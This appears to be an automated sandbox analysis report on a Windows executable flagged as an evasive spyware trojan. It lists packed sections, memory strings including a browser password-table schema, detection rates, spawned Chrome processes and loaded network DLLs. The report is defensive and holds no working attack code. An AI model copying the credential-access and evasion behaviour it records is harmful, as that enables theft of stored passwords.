Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72F10	1_3_00B72F10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72F10	1_3_00B72F10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72F10	1_3_00B72F10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72EF5	1_3_00B72EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B72A53	1_3_00B72A53

Source: file.exe, 00000001.00000003.1610805818.0000000005C58000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1602638941.0000000005D07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1620513349.0000000005D88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1619132720.0000000005C53000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1616302553.0000000005E90000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1614653932.0000000005C54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1611524399.0000000005C56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1600367495.0000000005C52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1618980470.0000000005D75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1615752641.0000000005D6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1623476165.0000000005C59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1615163154.0000000005D52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000002.1735914054.00000000057CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1603019683.0000000005D0C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1601631971.0000000005CFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1610662626.0000000005D37000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1609320009.0000000005D3E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1618833572.0000000005C54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1608357034.0000000005D18000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1610410514.0000000005C59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1604679221.0000000005DCF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1609754756.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1622125516.0000000005D84000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1601794088.0000000005DB0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1609072732.0000000005C61000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1612737524.0000000005E51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1620043714.0000000005D90000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1616467871.0000000005C54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1601309673.0000000005CF5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1601459181.0000000005C57000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1646440040.0000000005861000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1611395815.0000000005E2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1603465760.0000000005C55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1620945265.0000000005C54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1600788102.0000000005C5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1604539534.0000000005D08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1613019878.0000000005D42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1614015656.0000000005D61000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1611097936.0000000005C53000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1609933482.0000000005D3D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1601928672.0000000005C5A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000002.1730648035.0000000000B86000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1625261437.0000000005C58000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1600453963.00000000058B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1600537778.0000000005C5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1614394038.0000000005E70000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1619370224.0000000005D7E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1599142661.0000000005CEE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1611246844.0000000005D3A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1615602441.0000000005C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1608197221.0000000005C52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1613693926.0000000005C53000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1611705906.0000000005D50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1624211751.0000000005D97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1620337310.0000000005C55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1609466262.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1600619028.0000000005CF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1608761046.0000000005D1D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1608571513.0000000005C52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1646733544.0000000000B99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1605322163.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1600957937.0000000005CF8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1621180254.0000000005D84000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1598970493.00000000058BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1598878290.0000000005A52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1623290061.0000000005DAD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1617160392.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1617889988.0000000005C59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1624809456.0000000005EDF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1621438347.0000000005C52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1615378647.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1615918236.0000000005C5A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1609594253.0000000005D3C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1599047345.0000000005C56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1599259998.00000000058B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1608915991.0000000005DE7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1617487328.0000000005D81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1619650184.0000000005EAB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1616079908.0000000005D6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1616842800.0000000005E8F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1625466930.0000000005DAD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000002.1736896286.0000000006016000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1602853199.0000000005C58000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1622969589.0000000005C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1601185609.0000000005C55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1619806218.0000000005C54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1625800508.0000000005DB0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1612521124.0000000005D50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1607832828.0000000005D18000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1618403526.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1610951263.0000000005D3D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1602374061.0000000005C58000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1602172512.0000000005D07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1613282284.0000000005E3C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1622689614.0000000005ECD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1610254457.0000000005D35000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1610115216.0000000005C57000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1612118870.0000000005C58000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1608015442.0000000005DDD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1616610573.0000000005D6C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1614995056.0000000005C56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1614830189.0000000005D61000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1607329774.0000000005D1D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1625623192.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1612859528.0000000005C52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1607633650.0000000005C58000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000002.1736477844.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9993148053278689
Source: file.exe	Static PE information: Section: zvmykcec ZLIB complexity 0.9943194403425871

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/70@9/6

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000001.00000003.1390220404.00000000057BA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1421030486.00000000057DF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1388283083.00000000057D4000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	ReversingLabs: Detection: 44%
Source: file.exe	Virustotal: Detection: 54%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2536 --field-trial-handle=1924,i,5708739163240515119,9735538660646773485,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=2008,i,13480779338358767381,12639924099947820658,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2536 --field-trial-handle=1924,i,5708739163240515119,9735538660646773485,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=2008,i,13480779338358767381,12639924099947820658,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
